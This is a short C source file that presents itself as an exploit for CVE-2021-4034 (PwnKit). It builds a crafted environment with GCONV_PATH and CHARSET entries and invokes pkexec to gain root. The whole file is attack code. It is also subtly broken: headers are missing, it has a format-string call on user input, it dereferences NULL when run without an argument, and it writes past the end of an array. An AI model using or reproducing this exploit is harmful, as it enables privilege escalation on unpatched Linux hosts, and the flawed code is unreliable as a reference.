cve-2021-4034.c

#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {    
    char * const args[] = {   
        NULL
    };
    
    char * environ[] = {
        "pwnkit.so:.",   
        "PATH=GCONV_PATH=.",   
        "SHELL=/lol/i/do/not/exists",
        "CHARSET=PWNKIT",  
        "GIO_USE_VFS=",    
        NULL  
    };

    char *arg = NULL;
    if (argc > 1) {
        arg = argv[1];
        printf(arg);
    }


    char *pwnkit_arg = malloc(strlen(arg) + 20);
    sprintf(pwnkit_arg, "PWNKIT_ARG=%s", arg);
    environ[5] = pwnkit_arg;
    environ[6] = NULL;
    
    return execve("/usr/bin/pkexec", args, environ);
}